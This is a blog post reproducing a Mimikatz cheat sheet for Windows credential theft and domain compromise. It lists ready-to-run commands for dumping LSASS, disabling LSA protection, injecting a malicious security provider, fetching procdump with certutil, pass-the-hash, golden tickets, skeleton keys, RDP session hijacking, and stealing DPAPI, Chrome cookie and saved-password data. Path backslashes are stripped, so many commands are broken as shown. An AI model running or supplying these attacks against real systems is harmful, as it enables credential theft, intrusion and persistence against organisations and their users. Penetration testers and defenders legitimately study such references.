mimikatz-cheatsheet

| 3 janvier 2024 | Non classé | Aucun commentaire

Mimikatz

Summary

Data in memory

Execute commands

Only one command

PS C:tempmimikatz> .mimikatz "privilege::debug" "sekurlsa::logonpasswords" exit

Mimikatz console (multiple commands)

PS C:tempmimikatz> .mimikatz
mimikatz # privilege::debug
mimikatz # log
mimikatz # sekurlsa::logonpasswords
mimikatz # sekurlsa::wdigest

Extract passwords

Microsoft disabled lsass clear text storage since Win8.1 / 2012R2+. It was backported (KB2871997) as a reg key on Win7 / 8 / 2008R2 / 2012 but clear text is still enabled.

mimikatz_command -f sekurlsa::logonPasswords full
mimikatz_command -f sekurlsa::wdigest

# to re-enable wdigest in Windows Server 2012+
# in HKEY_LOCAL_MACHINESystemCurrentControlSetControlSecurityProvidersWDigest 
# create a DWORD 'UseLogonCredential' with the value 1.
reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /f /d 1

:warning: To take effect, conditions are required :

  • Win7 / 2008R2 / 8 / 2012 / 8.1 / 2012R2:
    • Adding requires lock
    • Removing requires signout
  • Win10:
    • Adding requires signout
    • Removing requires signout
  • Win2016:
    • Adding requires lock
    • Removing requires reboot

LSA Protection Workaround

  • LSA as a Protected Process (RunAsPPL) 
    # Check if LSA runs as a protected process by looking if the variable "RunAsPPL" is set to 0x1
reg query HKLMSYSTEMCurrentControlSetControlLsa

# Next upload the mimidriver.sys from the official mimikatz repo to same folder of your mimikatz.exe
# Now lets import the mimidriver.sys to the system
mimikatz # !+

# Now lets remove the protection flags from lsass.exe process
mimikatz # !processprotect /process:lsass.exe /remove

# Finally run the logonpasswords function to dump lsass
mimikatz # privilege::debug    
mimikatz # token::elevate
mimikatz # sekurlsa::logonpasswords

# Now lets re-add the protection flags to the lsass.exe process
mimikatz # !processprotect /process:lsass.exe

# Unload the service created
mimikatz # !-

# https://github.com/itm4n/PPLdump
PPLdump.exe [-v] [-d] [-f] <PROC_NAME|PROC_ID> <DUMP_FILE>
PPLdump.exe lsass.exe lsass.dmp
PPLdump.exe -v 720 out.dmp
  • LSA is running as virtualized process (LSAISO) by Credential Guard 
    # Check if a process called lsaiso.exe exists on the running processes
tasklist |findstr lsaiso

# Lets inject our own malicious Security Support Provider into memory
# require mimilib.dll in the same folder
mimikatz # misc::memssp

# Now every user session and authentication into this machine will get logged and plaintext credentials will get captured and dumped into c:windowssystem32mimilsa.log

Mini Dump

Dump the lsass process with procdump

Windows Defender is triggered when a memory dump of lsass is operated, quickly leading to the deletion of the dump. Using lsass’s process identifier (pid) « bypasses » that.

# HTTP method - using the default way
certutil -urlcache -split -f http://live.sysinternals.com/procdump.exe C:UsersPublicprocdump.exe
C:UsersPublicprocdump.exe -accepteula -ma lsass.exe lsass.dmp

# SMB method - using the pid
net use Z: https://live.sysinternals.com
tasklist /fi "imagename eq lsass.exe" # Find lsass's pid
Z:procdump.exe -accepteula -ma $lsass_pid lsass.dmp

Dump the lsass process with rundll32

rundll32.exe C:WindowsSystem32comsvcs.dll, MiniDump $lsass_pid C:templsass.dmp full

Use the minidump:

  • Mimikatz: .mimikatz.exe "sekurlsa::minidump lsass.dmp" 
    mimikatz # sekurlsa::minidump lsass.dmp
mimikatz # sekurlsa::logonPasswords
  • Pypykatz: pypykatz lsa minidump lsass.dmp

Pass The Hash

mimikatz # sekurlsa::pth /user:SCCM$ /domain:IDENTITY /ntlm:e722dfcd077a2b0bbe154a1b42872f4e /run:powershell

Golden ticket

.mimikatz kerberos::golden /admin:ADMINACCOUNTNAME /domain:DOMAINFQDN /id:ACCOUNTRID /sid:DOMAINSID /krbtgt:KRBTGTPASSWORDHASH /ptt
.mimikatz "kerberos::golden /admin:DarthVader /domain:rd.lab.adsecurity.org /id:9999 /sid:S-1-5-21-135380161-102191138-581311202 /krbtgt:13026055d01f235d67634e109da03321 /startoffset:0 /endin:600 /renewmax:10080 /ptt" exit

Skeleton key

privilege::debug
misc::skeleton
# map the share
net use p: \WIN-PTELU2U07KGadmin$ /user:john mimikatz
# login as someone
rdesktop 10.0.0.2:3389 -u test -p mimikatz -d pentestlab

RDP Session Takeover

Use ts::multirdp to patch the RDP service to allow more than two users.

  • Enable privileges 
    privilege::debug 
token::elevate
  • List RDP sessions 
    ts::sessions
  • Hijack session 
    ts::remote /id:2

Run tscon.exe as the SYSTEM user, you can connect to any session without a password.

# get the Session ID you want to hijack
query user
create sesshijack binpath= "cmd.exe /k tscon 1 /dest:rdp-tcp#55"
net start sesshijack

RDP Passwords

Verify if the service is running:

sc queryex termservice
tasklist /M:rdpcorets.dll
netstat -nob | Select-String TermService -Context 1
  • Extract passwords manually 
    procdump64.exe -ma 988 -accepteula C:svchost.dmp
strings -el svchost* | grep Password123 -C3
  • Extract passwords using Mimikatz 
    privilege::debug
ts::logonpasswords

Credential Manager & DPAPI

# check the folder to find credentials
dir C:Users<username>AppDataLocalMicrosoftCredentials*

# check the file with mimikatz
$ mimikatz dpapi::cred /in:C:Users<username>AppDataLocalMicrosoftCredentials2647629F5AA74CD934ECD2F88D64ECD0

# find master key
$ mimikatz !sekurlsa::dpapi

# use master key
$ mimikatz dpapi::cred /in:C:Users<username>AppDataLocalMicrosoftCredentials2647629F5AA74CD934ECD2F88D64ECD0 /masterkey:95664450d90eb2ce9a8b1933f823b90510b61374180ed5063043273940f50e728fe7871169c87a0bba5e0c470d91d21016311727bce2eff9c97445d444b6a17b

Chrome Cookies & Credential

# Saved Cookies
dpapi::chrome /in:"%localappdata%GoogleChromeUser DataDefaultCookies" /unprotect
dpapi::chrome /in:"C:UserskbellAppDataLocalGoogleChromeUser DataDefaultCookies" /masterkey:9a6f199e3d2e698ce78fdeeefadc85c527c43b4e3c5518c54e95718842829b12912567ca0713c4bd0cf74743c81c1d32bbf10020c9d72d58c99e731814e4155b

# Saved Credential in Chrome
dpapi::chrome /in:"%localappdata%GoogleChromeUser DataDefaultLogin Data" /unprotect

Task Scheduled credentials

mimikatz(commandline) # vault::cred /patch
TargetName : Domain:batch=TaskScheduler:Task:{CF3ABC3E-4B17-ABCD-0003-A1BA192CDD0B} / <NULL>
UserName   : DOMAINuser
Comment    : <NULL>
Type       : 2 - domain_password
Persist    : 2 - local_machine
Flags      : 00004004
Credential : XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Attributes : 0

Vault

vault::cred /in:C:UsersdemoAppDataLocalMicrosoftVault"

Commands list

Command Definition
CRYPTO::Certificates list/export certificates
CRYPTO::Certificates list/export certificates
KERBEROS::Golden create golden/silver/trust tickets
KERBEROS::List list all user tickets (TGT and TGS) in user memory. No special privileges required since it only displays the current user’s tickets.Similar to functionality of “klist”.
KERBEROS::PTT pass the ticket. Typically used to inject a stolen or forged Kerberos ticket (golden/silver/trust).
LSADUMP::DCSync ask a DC to synchronize an object (get password data for account). No need to run code on DC.
LSADUMP::LSA Ask LSA Server to retrieve SAM/AD enterprise (normal, patch on the fly or inject). Use to dump all Active Directory domain credentials from a Domain Controller or lsass.dmp dump file. Also used to get specific account credential such as krbtgt with the parameter /name: “/name:krbtgt”
LSADUMP::SAM get the SysKey to decrypt SAM entries (from registry or hive). The SAM option connects to the local Security Account Manager (SAM) database and dumps credentials for local accounts. This is used to dump all local credentials on a Windows computer.
LSADUMP::Trust Ask LSA Server to retrieve Trust Auth Information (normal or patch on the fly). Dumps trust keys (passwords) for all associated trusts (domain/forest).
MISC::AddSid Add to SIDHistory to user account. The first value is the target account and the second value is the account/group name(s) (or SID). Moved to SID:modify as of May 6th, 2016.
MISC::MemSSP Inject a malicious Windows SSP to log locally authenticated credentials.
MISC::Skeleton Inject Skeleton Key into LSASS process on Domain Controller. This enables all user authentication to the Skeleton Key patched DC to use a “master password” (aka Skeleton Keys) as well as their usual password.
PRIVILEGE::Debug get debug rights (this or Local System rights is required for many Mimikatz commands).
SEKURLSA::Ekeys list Kerberos encryption keys
SEKURLSA::Kerberos List Kerberos credentials for all authenticated users (including services and computer account)
SEKURLSA::Krbtgt get Domain Kerberos service account (KRBTGT)password data
SEKURLSA::LogonPasswords lists all available provider credentials. This usually shows recently logged on user and computer credentials.
SEKURLSA::Pth Pass- theHash and Over-Pass-the-Hash
SEKURLSA::Tickets Lists all available Kerberos tickets for all recently authenticated users, including services running under the context of a user account and the local computer’s AD computer account. Unlike kerberos::list, sekurlsa uses memory reading and is not subject to key export restrictions. sekurlsa can access tickets of others sessions (users).
TOKEN::List list all tokens of the system
TOKEN::Elevate impersonate a token. Used to elevate permissions to SYSTEM (default) or find a domain admin token on the box
TOKEN::Elevate /domainadmin impersonate a token with Domain Admin credentials.

Powershell version

Mimikatz in memory (no binary on disk) with :

More information can be grabbed from the Memory with :

References

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